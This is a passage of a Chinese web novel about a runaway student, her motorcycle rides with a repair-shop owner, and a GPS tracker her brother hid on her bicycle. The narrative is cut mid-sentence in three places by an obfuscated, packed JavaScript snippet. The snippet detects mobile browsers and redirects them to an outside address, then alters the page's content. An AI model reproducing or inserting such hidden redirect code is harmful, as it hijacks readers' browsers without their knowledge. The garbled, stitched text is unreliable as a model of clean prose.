说什么说!? “他说他送你。” 送什么送!? “他说你一个女孩子,身上没钱去哪都不方便。” “……” 他说得对。 黎予礼选择妥协。 红毛立马像个小弟一样跑到后面打报告,没两分钟孟尽桀就回来了。 汗湿了的头发被他全部往后拨,像特意做了个狼奔的发型似的,更凸显出他五官的立体程度。 “走吧,你要去哪?” 孟尽桀一边问她一边朝那扇紧闭的门走,不知道又去门后拿了什么,关上时还特意拧了拧确保门已锁紧。 黎予礼捧着没喝完的奶茶,思索自己能去哪。 毕竟她是个离家出走的人。 “离家出走的人能去哪呢?”孟尽桀竟然说出了她内心的想法。 眼下她唯一能去的地方就是学校。 只不过浪费了挨一顿骂换来的假。 孟尽桀不知道从哪里翻出来一个合适她尺码的新头盔,正准备手把手教她怎么戴。 她开口报地名:“启承私立中学。” “……什么?”孟尽桀举头盔的手停在半空。 “你不是说你是成年人吗?” “成年人不能复读吗?” 孟尽桀收起疑惑的神色,淡然点头:“喔,差点忘了启承有复读部。” 语气说得像他很了解这个学校一样。 “我是启承毕业的。”孟尽桀满足了她的好奇,“非要算的话我是你学长呢,毕业六年了。” ……谁要攀这层关系。 黎予礼学着他的模样把头盔戴好,虽然暂时不知道他们的交通工具长什么样,但肯定不是个安全的四轮车。 这点防护意识她还是有的。 隔着头盔护目镜看到孟尽桀从修车行后面推出来一辆很大架的机车,黑色哑光钢管车架,外露式设计贯穿车身。 她哪认识什么牌子,只知道这车看起来很酷。 坐起来应该也不错。 孟尽桀伸出手臂给她借力上车,头盔上的透明面罩被他推起,露出了担忧她坐不习惯的表情。 他甚至在发动前回头问了她三遍:“要不还是帮你打个车吧?” 黎予礼干脆抬手把他的护目镜拍下来。 “你不开我来开。” 17. 飙车 半封闭的头盔把孟尽桀的笑声滤得有些低沉。 他捏紧离合器手柄,头也不回对着坐在身后的黎予礼说:“坐稳咯,我开车不要命的。” 黎予礼对着他后脑勺翻了个白眼。 心说一辆摩托车能有多快,但双脚还是下意识踩稳脚踏板。 “把手给我。” 车子还未起步,电磁线圈吸合与机械传动的声响盖过了孟尽桀的话音。 黎予礼扶着头盔问:“你说什么?” 孟尽桀目视前方,反手准确握住她的手腕往前拉,迫使她贴近他的后背。 “扶好,否则我一拧油门你就不知道飞到哪里去了。” 真是危言耸…… “……!?” 过大的加速度导致黎予礼的身体因惯性被压向后方,她不得不靠搂紧孟尽桀的腰部来防止自己重心后移。 发动机高频震动通过车架传递至她的大脑皮层,她无法看见前方的路,但从耳边飞驰而过的嗡鸣清晰可闻。 孟尽桀不仅踩着这条路的最高限速驾驶,甚至不断超车。 高速运动和潜在危险刺激了交感神经系统,她的肾上腺素在孟尽桀的操控下与车速一同狂飙。 这可比骑自行车刺激多了。 黎予礼逐渐自如,环在孟尽桀腰际的手不再僵硬。 她甚至有心情透过透明面罩欣赏被他们甩到身后的四轮汽车,这种不断超越的征服感令她上瘾。 孟尽桀的修车行离启承私立中学好像不太远,也可能是他开得太快,黎予礼还没过瘾就到了站。 “久不回来还有些想念呢。”孟尽桀把车停在校门口对面。 他自己先下了车,并把脚撑放下,摘头盔的时候头发被弄得有些乱,但很快被他随意拨开。 “来吧。”他好似很绅士地向黎予礼伸出手。 像接千金小姐下豪车的贴身管家一样。 黎予礼一动不动,连护目镜都没往上推,像是没缓过来似的。 孟尽桀把手抬到她面前打了个声音很亮的响指,歪着身子靠车站立,扬起嘴角问:“吓傻了?” 她没有回答,只是定定地盯着机车车头仪表盘。 “我就说给你打辆车吧,还好吗需不需要我去买点糖给你?”孟尽桀嘴上说着不着调的玩笑话,神色却是真的关心她。 她终于缓慢转头面朝这个站着还比她坐在车上高的男人,不舍得摘下脑袋上的头盔。 隔着护目镜对上孟尽桀担忧的视线。 “能再来一次吗?” 她看到男人只怔愣一瞬便挑着眉欣然答应了她的请求,飙车所带来的快感余韵在她心头许久不能平息。 孟尽桀把头盔戴好,抬腿上车,感受到她自觉搂上的双臂,嘴角难掩笑意。 “说吧,想去哪儿?” “去能开得更快的地方。” 逾桐市外环快速路,孟尽桀经常在凌晨不限行的时候开上去兜风。 在过去飞驰的24年人生里,他只和车子打交道,从未碰到过黎予礼这样的人。 这样随性、无畏、泡在蜜罐里长大后身上还沾着甜的人。 她看上去很自由,只是看上去。 飙车这项把生命安危娱乐化的极端运动对于他来说比人生中绝大多事情都更好掌控。 比如分裂的家庭关系,非他所愿的职业规划。 孟尽桀不是一个幸福的人。 他逃离了父亲的二婚家庭,独自回到逾桐闯荡打拼。 所以他迫切地需要找到一些能够让他幸福的事情。 黎予礼是第一个坐上他后座的人,他破天荒发现自己拧油门时掌心渗出细密汗珠。 原本得心应手的纯熟车技在女生紧紧抱住他时变得生涩又笨拙。 他感觉到有些事情好像在这场飙车中脱离了他的掌控。 机车高速驶入隧道,由于路段要求他明显降低了车速。 仿佛连续不断延伸向另一个时空的隧道灯光在护目镜上闪烁,这段不分昼夜的地方好似象征着极乐,让车上的他们骨血沸腾。 秋天追上了他们的尾灯。 体验过更为刺激的高速超车,黎予礼不满足于现状,歪着脑袋贴近孟尽桀。 头盔磕碰的声音惹得他们发笑,她大声喊道:“太慢了!” “你说什么!?” 呼啸的风声成了彼此交流的阻碍。 黎予礼将他搂得更紧了,几乎整个人贴上他的后背。 她旁若无人地放声高喊:“我说!太慢了!!!” 孟尽桀听到了。 外界的强光猝不及防地从洞口侵入他们的瞳孔,在视网膜上残留的光斑久久不散。 “再抱紧一点。” 他加大了拧油门的力度。 外环快速路途径逾江,混杂着土腥味的河水波光粼粼,黎予礼找回了高三那年逃课的感受。 但她现在不能再像曾经那样放纵了,重头再来最忌讳的就是重蹈覆辙。 她手动叫停了这项具有成瘾性的活动。 意犹未尽:“今天先这样吧。” 孟尽桀隔着透明面罩也能看穿她的心思:“你还没过瘾吧?” 黎予礼并不是不想承认自己是个难以满足的人,她从不掩饰自己贪婪的想法和内心。 但她现在必须要在家和学校这两个目的地里二选一。 “也该回去了,”她揉了揉肩颈,“你的车应该不是每个人只能坐一次的吧?” 试探性的玩笑话让孟尽桀知道他们之间的交集不会止步于此,他把护目镜往上推,露出自己毫无攻击性的丹凤眼。 “我从来没载过人,你是第一个。” “?”黎予礼挑起单边眉毛。 骗人的吧? 他看起来像那种不会有空窗期的男人。 竟然是纯情货色? “不相信我啊?”孟尽桀又一次轻易读懂了她的面部表情,但被人误解的他好像并不生气。 黎予礼收回视线,没有接话。 相不相信关她什么事,普通金钱交易关系用不着打探私人信息。 “你想回哪儿?学校吗?”孟尽桀适时转移话题。 她思来想去感觉还是修车行舒服,于是给自己的目的地添加了新的选项:“先回你那儿吧。” 孟尽桀好似对她这个决定并不意外,发动车子踏上返程。 回去的路和来的时候不是同一条,且恰巧碰上晚高峰,孟尽桀不得不控制车速。 以至于黎予礼下车摘头盔时,毫不顾形象地对着他打了个哈欠。 “困了?”孟尽桀笑着看她,伸手接过头盔。 她摇摇头,和当初第一次去徐寅安家一样完全没有做客之态,径直走到她下午用过的那张椅子旁坐下。 仿佛这已经是她专属的位置。 红毛已经不在店里,偌大的修车行只有他们两个人。 “晚上想吃什么?”孟尽桀掏出手机,大概率打开了外卖软件,“我请客。” 黎予礼心说你不请客我也没钱付。 对于习惯了吃家里精致干净饭菜的她来说,一想到外卖的盒饭她就觉得没胃口。 “不用了谢谢,”她借口婉拒,“修车费我还没给你呢。” 孟尽桀好似因她莫名的客气而感到有些委屈,语气都变得失落了不少:“可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15855449|175906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我也还没给你修呀。” “……” 黎予礼不明白为什么有人上赶着想给她花钱。 上一个这样的还是黎宴琛。 “你吃不惯外卖?”孟尽桀抛出猜测。 其实她很讨厌这种被看透的感觉,面前这个认识不到一天的男人像她肚子里的蛔虫一样,让她有些烦躁了。 “我只是不想在这种环境吃饭。” 她故意把话说得难听,好像在贬低修车行是个肮脏的地方。 孟尽桀竟也不恼,还热心地给她提供其他方案:“你可以去我房间吃呀。” 她看到他走向那扇始终紧闭的门,单手掏钥匙开锁,对她作出欢迎手势的同时吹了个响亮的口哨。 “进来看看?” “……” 她没兴趣参观男人的房间,总觉得它们都和黎宴琛的一样,除了黑白灰之外没有其他的色彩。 “我这儿可是秘密基地,真不想看?” “……” 孟尽桀应该挺擅长心理博弈的,不仅能够直接看穿她的内心,还懂得用这样的方式激起她的好奇。 她假装不情愿地从椅子上站起身,慢悠悠走到男人旁边。 “请进。”孟尽桀小臂一伸。 和她想象的黑白灰空间不同,这个屋子里什么颜色都有。 每一个家具都像汽车零部件改装加工的,床垫下甚至平放着几个轮胎,怪异又和谐的搭配。 不像普通人会住的地方,但如果这个人是孟尽桀的话,倒格外符合气质。 房间出乎意料的干净,可以说是一尘不染,与门外的空间截然不同。 黎予礼合理怀疑孟尽桀有洁癖。 毕竟他一个修车的,敢穿白衣服还能不沾污渍,可比吃火锅不沾红油更有水平。 “你一个人住吗?” 她问出这句话的时候总觉得有些很熟悉,后知后觉自己大概是越界了。 孟尽桀倒是无所谓答复:“嗯,我爸二婚,我妈在申城,我算半个自主创业吧。” “你也离家出走?”黎予礼以为找到了同道中人。 “欸,不对哟宝贝,”孟尽桀笑得眼角弯弯,“我是个经济独立的成年人,有生活自理能力……” “……你说谁生活不能自理?”黎予礼瞪眼看他。 “错了错了。”他举起双手做投降状,笑意不减。 仅供一人居住的房间确实不大,黎予礼一眼能望到头,她也不至于好奇到翻箱倒柜的地步,随意看了几下就和孟尽桀一起走回店面里。 “所以你愿意赏脸在我房间吃晚饭吗?”他再次掏出手机,把自己邀请人的姿态放得很低很低。 黎予礼本想妥协,抬眼竟看到和修车行一马路之隔的地面上停着她再熟悉不过的黑色宾利车。 看不见车牌,但她心跳莫名加快。 “怎么了?”孟尽桀见她怔怔地望着外面,也顺着她的视线看去,“宾利?这一带很少见这个车啊。” 完了。 孟尽桀话音刚落,宾利驾驶座的车门被从里面打开。 只一眼,黎予礼就认出了那只踏下车的黑皮鞋属于谁。 她根本来不及躲,黎宴琛已经看见了她。 孟尽桀见她手足无措想要找东西遮掩,再看到径直朝他们走来的西装男人,心里很快有了荒谬的猜测。 他惊讶得合不拢嘴:“你爸这么年轻!?” 黎予礼找不到地缝钻进去,只能认命。 躲到孟尽桀身后咬牙切齿:“他是我……” 那个字眼到了嘴边又被她生硬咽下,胡乱换了个代称。 “……远房亲戚。” 18. 借住 孟尽桀不傻,身着西装的男人踏进他店里的一瞬间,周身气压都低了几分。 可男人并未施于修车行里任何物件一个眼色,目光径直越过他,看向他身后的女孩。 “予礼。” 他听到男人唤她的名字。 黎予礼假装没听见,掩耳盗铃一般借孟尽桀的身形完全挡住自己。 三个人僵持不下,孟尽桀觉得自己身为此次“离家出走案”的直接目击证人,有必要站出来做一些解释。 其实是他不想忍受尴尬:“那个,您好,我是这家店的老板,她呢就是自行车坏了过来找我修,我这儿很安全,没什么其他问题……” 孟尽桀一边说还一边侧身让位,惨遭黎予礼一记瞪眼。 他读懂她的眼神含义是“少废话”,了然地抿起双唇。 “我在车上等你。”西装男人再度开口。 没有对孟尽桀说一个字,也没有看他一眼。 黎宴琛踏着那双看起来十分昂贵的定制皮鞋走出了修车行。 “你亲戚……”孟尽桀微微眯起眼,盯着男人离去的背影,“脾气挺差啊。” 黎予礼第一次听到有人这样评价黎宴琛。 因为在她看来这个哥哥虽然冒牌,但从来没有跟她吵过架,那个家里会发脾气的人只有她。 “你确定要跟他回去吗?”孟尽桀收回视线,扭头看着站在原地一动不动的女孩,“你如果不想的话我去解决。” 你去解决? 黎予礼挑眉看他。 “远方亲戚又不是监护人,”孟尽桀对黎予礼给西装男人捏造的身份深信不疑,“再说了你已经成年了,他凭什么限制你的人身自由。” “……你今天下午可不是这个态度。”黎予礼心觉好笑。 是谁一直把她当未成年看待。 孟尽桀耸了耸肩:“所以你需要我帮你吗?” “怎么帮?” 黎予礼不等他回答又连续抛出质问。 “为什么帮?以什么立场帮?” “……” 孟尽桀极少碰到令他难以回答的问题,他知道黎予礼这是在和他撇清关系。 不对。 他们甚至还谈不上有关系。 黎予礼虽然不想见到黎宴琛,但一直在这个修车行待下去也不是办法。 停在马路对面的黑色宾利车打着双闪,间断的灯光好似在催促她离开。 她不情不愿地迈出步子,才刚走过孟尽桀身侧就被他握住手腕。 他力度很小,手掌上有一层明显的硬茧。 黎予礼猜想他这般握力远没有平时拿工具的劲儿大。 “留个联系方式吧,车子修好了我告诉你。” “……”她回头看他,却无法从他的眼神里读出另一层含义。 孟尽桀没有松手,垂眸看向她腕间那两条硌在他掌心里的红绳和银链。 “不愿意的话把你远房亲戚的电话给我也行,”他似笑非笑的嘴角透着些狡猾,“反正他一副不希望你再来这里的模样……” 黎予礼抽出手摊在他面前,打断他的话:“手机。” 他笑意明显了不少,掏出手机递给她:“没有密码。” 黎予礼划开锁屏,对男人手机里是什么壁纸、有什么软件并不好奇,直接打开电话拨号界面输入自己的号码。 把手机还回去时也没有意识到哪里不对劲。 直到孟尽桀当着她的面新建联系人,在输入姓名一栏时悠悠开口:“我能和你远房亲戚一样叫你予礼吗?” 她才发觉她从始至终没有向孟尽桀做自我介绍。 “我姓黎。”她淡淡道。 孟尽桀勾起嘴角:“再见,黎小姐。” “……” 黎予礼没有接话,转身走了。 她知道孟尽桀这个称呼的意思是不再把她当成小孩看待,但她知道自己上了车还会被另一个男人当成小孩。 黎宴琛坐在驾驶座,手指一下一下敲着方向盘,仿佛在计算还需要等待她多久。 见她拉开后座车门,他本就无情的眼尾平添几分冷厉,目光借由车内后视镜抵达她眼底。 黎予礼移开视线,系好安全带后靠着门望向车窗外。 她不想和黎宴琛有任何交流。 好在她这个冒牌哥哥最大的毛病就是寡言,越是这样的时刻他越沉默,两人愣是安静了一路。 兴许是飙车消耗了过多精力,困意在车内白噪音里席卷而上,黎予礼感觉自己的眼皮在缓慢变重。 呼吸也逐渐平缓。 再次醒来时,车子看上去熄火已久,窗外暗得只剩路灯光。 她揉了揉眼睛坐直身体,抬眸看向车内后视镜的一瞬便和黎宴琛对上了视线。 仿佛他始终这样注视着她一般。 “到家了?”她像是睡意未褪,口中十分自然地说出这个词。 黎宴琛明显一怔,继而恢复冷静,声音沉得听不清:“我和小姨打过招呼了,这段时间你先在这儿住,司机会每天接送你上下学。” “……?” 黎予礼这才看清车窗外不是他们家的地下库,而是小姨家的路面停车场。 “行李我帮你收拾好了,在后备箱,待会儿帮你拿上去。”黎宴琛压根没有询问她的意见,擅自帮她安排好了一切。 她牙齿咬着口腔内软肉,试图用痛感逼迫自己不要生气。 在小姨家门口吵架,最坏的结局就是黎蓝瑛出来劝架失败,急火攻心再度入院。 黎予礼不至于这么不懂事。 “有什么缺的可以跟小姨说,或者叫我拿来给你。”黎宴琛话音一落便解锁了车门。 他的手刚碰到车内门扣,就听到黎予礼在后座冷笑一声:“因为我不是你们家的人所以可以随便把我丢给谁吗?” 黎宴琛呼吸一滞,难以置信地回头看着她。 可过暗的车厢后座让他难以辨清她的表情。 “说不让我离开的人是你,赶我走的人也是你。”她想不明白为什么有人可以这么自相矛盾。 “……我没有赶你走。”黎宴琛放低声音,语气轻柔得不像话。 黎予礼没有给他解释的机会:“无所谓,反正我也不想跟你待在一起。” 她扔下这句话便摔门下了车。 在按响小姨家门铃时黎予礼还没整理好情绪,但黎蓝瑛开门的一瞬间就只看到一个开朗活泼的女孩向自己扑来。 “小姨!”她抱住黎蓝瑛,“你最近身体怎么样?” “好多啦,”小姨摸了摸她的脑袋,“我让阿姨把你的房间收拾出来了,跟我去看看?” “好!”她点头如捣蒜,丝毫没有方才在车上时的不情愿。 “这个房间有独立卫浴,新的洗漱用品我也让阿姨备好了,床单被套可能有一些柜子的味道,过两天出太阳了再让阿姨帮你晒一下……” 长辈喜欢絮絮叨叨,黎予礼完全把这里当成了自己家,在小姨说话的时候躺倒在床上,悬空在外的脚不停晃动,甩掉了拖鞋。 她身心极为放松的时候就是没个正形儿。 “欸你哥呢?还在车上?”黎蓝瑛终于想起了自己没进门的外甥,“他说他只收拾了两箱行李,你要是有什么缺的就跟小姨说,让你小姨父去买。” 黎予礼闻言坐起身,收脚盘腿坐好,说:“小姨我能问你个问题吗?” “嗯,”黎蓝瑛坐到她旁边,“你问。” 她有无数关于“自己究竟是谁”的疑惑堵在嘴边,在看到小姨眼角折起的细纹后又被她生生咽下。 她换了个问题:“我哥有说他为什么要把我送到小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15855450|175906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姨你这里住吗?” “说了呀,他最近太忙了怕顾不上你。”黎蓝瑛笑着回答。 “……嗯。”她挤出一抹笑容,勉强点头接受这个说法。 小姨正想再聊些什么,门外传来小姨父和黎宴琛的谈话声。 “宴琛来了?” “小姨父,我拿行李给予礼。” “来来来我帮你拎一箱,上二楼左转。” “不用了小姨父,我自己来就好。” “哎呀你这孩子跟我客气什么?” 黎蓝瑛干脆打开门朝外喊了一句:“你们俩客套给谁看呢?赶紧上来!” 说是拿行李来给黎予礼,还真放下东西就打算走。 小姨叫住黎宴琛:“你急什么?既然予礼在我这儿住着,那你以后午晚饭也来一起吃。” “不用了小姨,”黎宴琛垂下眼眸,“从公司往返不方便,等忙完这段时间我再来拜访。” 他说完这话黎蓝瑛也不强留他,让小姨父把他送到门口。 “你哥啊,”小姨双臂交叠摇摇头,“每次都客气得好像我不是他亲小姨一样。” “……是啊。”黎予礼尴尬一笑。 他不是你亲外甥难道我是吗? 她内心难忍吐槽。 “去休息吧,小姨不打扰你啦,明天还要上课呢。”黎蓝瑛揉了揉她的脑袋。 小姨家是独栋别墅,除了地下室和院子以外一共四楼。 虽是富人区,但距离逾桐市中心较远,黎宴琛说的往返不便确实不假。 而启承私立中学恰好和小姨家在一个城区,从通勤角度上来说,她住在黎蓝瑛这里确实比住自己家更便利。 黎家很有钱,她不是第一天知道。 他们家住在寸土寸金的市中心,还能有五室两厅数百平的建筑面积。 黎蓝瑛这儿的装修也是尽显奢华,估计随便一个软装都是五位数起步。她以前听说小姨搬了新家,一直很羡慕他们能住这么大的豪宅。 但如今她躺在这个大别墅里的其中一个房间里,空荡荡的天花板却令她感到迷茫。 她本以为和黎宴琛大吵一架后两人的关系会彻底决裂。 甚至还做好了第二天流落街头、去睡桥洞的心理准备。 可她没想到黎宴琛不仅能在逾桐市里精准找到她所在的位置,还能像没事人一样把她接回来,用对此毫不知情的小姨来捆绑他们岌岌可危的关系。 好卑鄙。好卑鄙。 黎予礼翻身把自己卷进被子里,发现自己的手机不知道什么时候被放到了床头柜上。 估计是黎宴琛刚刚来的时候留下的,甚至帮她充好了电。 她和同龄人不一样,不是个离了手机就不能活的人。 但一天没有摸这块电子板砖,她还是有些手痒。 拿起手机时她顺手关了房间灯,把自己藏进被窝里,被褥将手机屏幕的光隔绝在内,照亮她的脸颊。 瞳孔里映出光圈。 微信里没几条未读消息,黎予礼复读之后以前那些塑料友谊都淡出了她的生活。 除了公众号和服务号之外,通讯录界面里竟突兀出现一个红点。 一个微信名叫Jake、头像是黑色机车的人申请添加她为好友。 验证消息里是简单的三个字:孟尽桀。 黎予礼险些笑出声。 心说哪怕他不自报家门,这头像和ID也写着孟尽桀的名字。 她刚点击同意,对方就发来了信息。 【我刚刚把你自行车的损坏部件拆下来】 【猜猜我发现了什么】 黎予礼一眼一板地把他的备注名改成“修车行老板孟尽桀”,切回聊天界面后收到了一张照片。 【(图片)】 【有人在你车上装了定位器】 19. 江边 定位器? 黎予礼从床上坐起身,手机屏幕在漆黑的环境里变得有些刺眼。 她快速打字。 【什么定位器?】 【能实时看到我在哪的吗?】 孟尽桀发来两条语音。 “应该是那种在手机上能看到移动位置的。” “它还在工作呢,需要我帮你把它销毁吗?” 黎予礼的脸色被屏幕光亮映得惨白。 她心里瞬间有了完整猜想。 定位器八成是之前黎宴琛没收她自行车的时候装上去的。 逾桐市那么大,难怪他能在短时间内找到她人在哪。 【不用】 她回复孟尽桀。 【麻烦你帮我收着】 【我去取车的时候拿】 黎予礼握着手机的指节止不住地颤抖,她分不清自己的情绪是愤怒还是失望。 查购买记录。 安装定位器。 好啊黎宴琛,很好。 还有什么事你不敢做? 黎予礼用力把手机砸到地上,仿佛这台由黎宴琛购买的电子设备能够代替他赎罪一般。 今夜注定无眠。 第二天,她顶着眼下明显的乌青起床吃早饭,黎蓝瑛还以为她是认床没睡好。 “哎哟我的宝贝予礼呀,怎么黑眼圈这么重啊?”小姨放下手里喝粥的勺子,起身走过去想扶她。 她摆摆手,明明黎蓝瑛才是这个屋子里最需要搀扶的人,“小姨我没事,做了一晚上的梦而已。” “今天出太阳了,我待会儿就让阿姨帮你晒被子。”黎蓝瑛递了杯热牛奶给她。 “谢谢小姨。” 她扯出一抹微笑,拿起眼前的煎蛋吐司吃了1/4后实在是没胃口,硬着头皮把牛奶喝完。 “小姨我先去学校了。” “嗯好,路上注意安全。” 黎蓝瑛可不像黎宴琛那样喜欢唠叨,除了这句话之外什么也没交代。 反倒让黎予礼有些不习惯。 司机照旧接送她,和以前没什么区别,不过是所谓“家”的目的地发生了更改。 好像一切都在慢慢回到正轨,但黎予礼知道事在人为。 启承私立中学不会没收学生的手机,更何况是复读部这种不计算升学率的地方。 她一边上着最讨厌的英语课一边回孟尽桀的消息。 这个在她第一印象里是个好心老板的人逐渐显露出自己不要脸的一面。 【你知道定位器是谁给你装的吧?】 【你说如果我带着它飙车会怎么样?】 【但我估计它在高速移动下信号应该不太好】 【监视你的人会以为你在瞬移吧】 【哈哈哈哈哈】 【要试试吗?】 看得出来孟尽桀是个话唠,但黎予礼没想到他能这么吵。 【无聊】 这两个冰冷的文字并没有浇灭对方的热情。 【无聊?】 【你在上英语课?】 黎予礼轻皱起眉,孟尽桀在她身上装监视器了吧? 【你怎么知道?】 【因为英语课就是很无聊啊!】 【还是飙车有意思】 黎予礼没再回复,但讲台上老师的声音已经无法穿透她的耳膜。 她的思绪早就飘走了。 飘进昏黄的隧道,飘向平直的环江路。 飘到孟尽桀的后座上。 手机屏幕再度亮起,她瞥见孟尽桀抛来的邀约。 【想去兜风吗?】 黎予礼握笔的手指松了松。 逃避心理属于心理防御机制的一种,通过回避问题来暂时缓解焦虑和痛苦。 黎予礼觉得现在的自己并不算焦虑,也没什么痛苦,但深埋在她体内的惰性还是不合时宜地蔓延而上。 在孟尽桀具有强烈诱导性的话语里丢失了理智,她贪玩的本性一点就燃。 【来接我】 她敲下三个字,点击发送。 然而对面的人并没有像她预想那样听话。 【不可以喔宝贝】 【你现在最重要的任务是学习】 【我在校门口等你放学】 【好好上课吧~】 黎予礼瞪着消息框里那个欠揍的波浪号,它恰好出现在昨晚被她摔出来的屏幕裂痕下。 影响她专心上课的罪魁祸首估计正洋洋得意地笑着。 她用一个指头狠狠敲击屏幕。 【滚】 孟尽桀在手机这头笑意不减,把手里的棒棒糖塞回嘴里,勾唇的动作和他叼烟时一样。 “桀哥你在戒烟?” 红毛正补着手里的旧轮胎,看到孟尽桀捧着手机笑了至少半个小时,还以为大白天的见了鬼。 孟尽桀用舌头把棒棒糖挪到腮帮子里,牙齿磕碰到硬糖发出轻微声响:“嗯,吸烟有害健康,你也少抽点。” “……谢谢桀哥关心。”看来真是鬼上身,红毛恨不得躲进轮胎里。 孟尽桀没工夫好奇自己手下干活的伙计为什么这副模样,站起身把卷帘门备用钥匙扔给红毛。 “我出去一趟,你走的时候记得锁门。” 红毛双手接住:“太好了。” “你说什么?”孟尽桀停下脚步。 “……我说胎好了。” 好在他心思早已不在此处,完全没在意红毛的解释,只留下机车轮胎碾过微湿路面的痕迹和并不算刺鼻的尾气。 从修车行到启承私立中学不过五分钟车程,也可能是孟尽桀开得太快。 他也不知道自己是怎么了,明明离他单方面约定好的放学时间还早。 好比这辆机车多一个人坐能够发挥最大效用似的。 孟尽桀知道黎予礼发来的“滚”中译中是“好”的意思,于是他就这么把车停在校门口最显眼的位置。 放下脚撑,倚靠车身而站。 手里像盘核桃一样把玩着那个从阿普兰上拆下来的定位器。 等待他第一且唯一的乘客到来。 黎予礼还没走到校门口就看见他了。 黑色皮衣,工装裤脚塞进低帮马丁靴里,头发梳成三七侧背,嘴里叼着一根很像烟的白色塑料棒,吊儿郎当得像会被保安赶走的样子。 但保安不仅没赶他,还上前与他攀谈。 黎予礼隔着大老远也能看清他永远扬起的唇角。 “我都毕业六年了张叔。” 她走到那辆黑色机车旁时只听到这一句话,接着那位被孟尽桀称呼为“张叔”的保安就憨笑着走回岗位了。 “还挺快啊,你教学楼是哪栋?”孟尽桀把头盔递给她。 她面无表情地戴好头盔,不答反问:“你和保安很熟?” “对呀,”孟尽桀笑意更深,黎予礼这才看清他嘴里含的是棒棒糖的小棍子,“我在启承混得挺好的,老师都认识我。” 这话听起来不假。 黎予礼想起红毛说修车行附近的人都叫他“桀哥”。 他应该是很擅长社交的人吧。 “说不定给你上英语课的老师和我很熟呢。”孟尽桀对她挑了挑眉。 那双丹凤眼在不断接近的上下睫毛间透着明晃晃的笑意。 黎予礼极少看到异性在她面前把眼睛笑成细细弯弯的月牙。 像动物园里只会开屏的雄孔雀。 “七点上晚修,在那之前把我送回来。”她习惯了用命令人的语气,哪怕站在她面前的男人比她年长五岁。 孟尽桀乐意之至:“遵命。” 晨昏蒙影在漫长的秋日里显得极为短暂,映在黎予礼头盔护目镜上的晚霞很快被橙黄色的路灯替换。 她紧紧搂着孟尽桀的腰,本以为皮衣的材质会硌得她难受,但出发不到两分钟孟尽桀就靠边停下车,把外套脱给她。 他说:“穿着吧,晚上凉。” “还没到晚上。”她在拒绝。 “你什么时候穿上我什么时候开车。”他在哄骗。 黎予礼眼瞳上移,隔着护目镜也能看出来她在瞪他。 他干脆把皮衣外套披到她肩膀上,大了不止一圈的尺寸实在不合适。 孟尽桀却满意地回身握住车头把手,背对她说:“要穿好喔,这件衣服是我妈妈买给我的生日礼物。” 其实他不知道这话会对黎予礼管用。 女孩闻言拢了拢衣领,把手伸进宽宽的袖子里,顺势搂上他的腰。 她从头盔里传出来的声音有些闷:“我穿好了。” 孟尽桀垂眸看着自己环在自己腰前的手,过长的袖子只露出她前端的指节。 他把笑容藏进夜色里。 “坐稳咯宝贝。” 黎予礼并没有习惯这个诡异的亲昵称呼,但她暂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15855451|175906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时懒得纠正孟尽桀。 代称而已,无所谓内容。 “你想吃麻辣烫还是关东煮?”孟尽桀把车停在一片路边摊旁边,“宝贝?” 他伸手在看着摊贩们发呆的黎予礼眼前打了个响指。 “……能别这么叫我吗?” 她还是提了,总觉得以两人目前的关系来说,孟尽桀多少有些越界。 “那怎么叫你?”他耸了耸肩膀,双手踹进裤子口袋里。 江边风大,黎予礼瞥见他短袖下的肌肉微微紧绷,皮肤纹理明显。 她作势要脱下皮衣外套还给他。 “别,”孟尽桀抬手制止,“万一你吹感冒了,我怕你远房亲戚找我麻烦。” “……”黎予礼表情骤变。 哪壶不开提哪壶。 “我又不能和他一样叫你予礼,那我该叫你什么啊?”孟尽桀把她带到麻辣烫的小摊空桌旁坐下。 他好像一直有意无意把话题往黎宴琛身上引。 黎予礼再次用提问来搪塞回答:“定位器带了吗?” “带了。” 孟尽桀一边抬手招呼老板拿菜单过来,一边从皮衣内侧口袋里掏出定位器。 黎予礼无语。 原来这东西刚刚一直在她身上。 她伸手去拿,不料被孟尽桀躲开。 “是他装的吧?” “……” 黎予礼真是讨厌透了他这副什么都能猜中的模样。 “他为什么要这么做呀?”孟尽桀好似要刨根问底。 “我要是知道的话能让他装上吗?” “哈哈,也是。” 麻辣烫老板拿过来一张塑封的陈旧菜单,印着清一色的菜名和偶尔一张与文字不符的图片,上面甚至沾了些许油渍。 黎宴琛从不让她来这种地方。 谈不上厌恶。 还有些稀奇。 “随便点,我请客。”孟尽桀拍了拍左胸膛。 黎予礼甚至听到了结实的闷响。 “你先把定位器给我。” “你吃完饭我就还你。” 两人僵持不下,黎予礼不想妥协,把菜单扔到他面前。 “你点吧,我都行。”她不再看他,视线移向远处的逾江。 